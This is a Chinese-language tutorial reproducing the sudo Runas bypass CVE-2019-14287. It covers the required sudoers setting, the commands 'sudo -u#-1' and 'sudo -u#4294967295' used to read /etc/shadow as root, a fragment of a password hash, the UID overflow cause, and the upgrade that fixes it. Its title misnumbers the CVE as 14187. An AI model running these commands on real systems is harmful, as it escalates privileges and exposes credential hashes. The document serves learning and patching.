sudo提权复现(CVE-2019-14187)
漏洞背景:
2019年10月14日,CVE官方发布了CVE-2019-14287的漏洞预警。其中包含sudo root权限绕过漏洞(CVE-2019-14287)的补丁修复。通过特定payload,用户可提升至root权限。
利用前提
- sudo -v < 1.8.28
- 知道当前用户的密码
- 当前用户存在于sudo权限列表
复现要知道的命令含义:
#useradd 用户名 passwd 用户名 #cat /etc/group #sudo -h #su 用户名
漏洞概述
如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。
实际上,只要用户的权限足够高,即拥有最高sudo权限的用户,并且在Runas规范中定义了ALL关键字的话,他们就可以运行Runas规范中明确禁止使用的那些root命令,而且以这种方式运行的命令其日志项所显示的目标用户为4294967295,而不是root。与此同时,在执行相应命令的过程中,PAM会话模块将不会运行。
Sudo 的全称是“superuserdo”,它是Linux系统管理指令,允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令。通常以 root 用户身份运行命令,是为了减少 root 用户的登录和管理时间,同时提高安全性。
搭建环境
- linux系统
- 只要sudo版本< 1.8.28
- 修改配置文件
- 在/etc/sudoers 添加配置: test ALL=(ALL:!root)ALL
演示
正常情况下我们在普通用户下cat /etc/shadow 无路如何sudo也是不管用的,因为没有权限!
root@bogon:/# su tom tom@bogon:/$ cat /etc/shadow cat: /etc/shadow: Permission denied tom@bogon:/$ sudo -u#1002 whoami tom tom@bogon:/$ sudo -u#1002 cat /etc/shadow cat: /etc/shadow: Permission denied
当我们修改配置文件sudoers:
这样就可以执行:
tom@bogon:/$ sudo -u#-1 cat /etc/shadow tom@bogon:/$ sudo -u#4294967295 cat /etc/shadow
root:$6$nuqirz/F$0yXjbfS2YYzmqh
.....
漏洞分析
sudo开发者说道“即使RunAs规约明确禁止root用户访问,但如果Runas规约文件中首先列出了ALL关键字,具有sudo权限的用户就可以使用它来以root身份运行任意命令”
翻译来就是:
sudo命令本身就已经以用户id为0运行,因此当sudo试图将用户id修改为-1时,不会发生任何变化。这就导致sudo日志条目将该命令报告为以用户id为4294967295而非root(或者用户ID为0)运行命令
就是用-1 或者 4294967295 这个UID 。 后面这个数字有意思,它是2的32次方减一。而-1看起来又是32位二进制数值溢出后被截断的值。
由于/etc/sudoers 中的test ALL = (ALL, !root) /usr/bin/id已经明确不能以root执行,因为root的uid是0,所以下面这样做是会失败的:
sudo -u#1 id
或者
sudo -u root id
但是,问题就来了,-1 或者 4294967295这个UID确是可以的。
这个命令可以以root权限执行。
sudo -u#-1 id
返回的是:
uid=0(root) gid=1001(test) groups=1001(test)
链接:https://www.jianshu.com/p/26af0ce68d84
漏洞修复
root@bogon:/# wget http://www.sudo.ws/dist/sudo-1.8.28p1.tar.gz root@bogon:/# tar -zxvf sudo-1.8.28p1.tar.gz root@bogon:/# cd sudo-1.8.28p1 && ./configure && make && make install root@bogon:/# cp /usr/local/bin/sudo /usr/bin/sudo
root@bogon:/sudo-1.8.28p1# sudo -V
Sudoers I/O plugin version 1.8.28p1
最后
CVE-2019-14287这个漏洞呢,并不适用于默认情况,需要管理员在 /etc/sudoers 配置了All关键词才有触发的可能。所以显得比较鸡肋。。。
题外话:
su - username 属于登陆式shell su username 属于非登陆式shell 区别在于加载的环境变量不一样。 非登录shell [root@www.oldboyedu.com ~]# su root /root/.bashrc!!! /etc/bashrc!!! /etc/profile.d/1.sh!!! 登录式shell [root@www.oldboyedu.com ~]# su - root /etc/profile!!!! /etc/profile.d/1.sh!!! /root/.bash_profile!!!! /root/.bashrc!!! /etc/bashrc!!!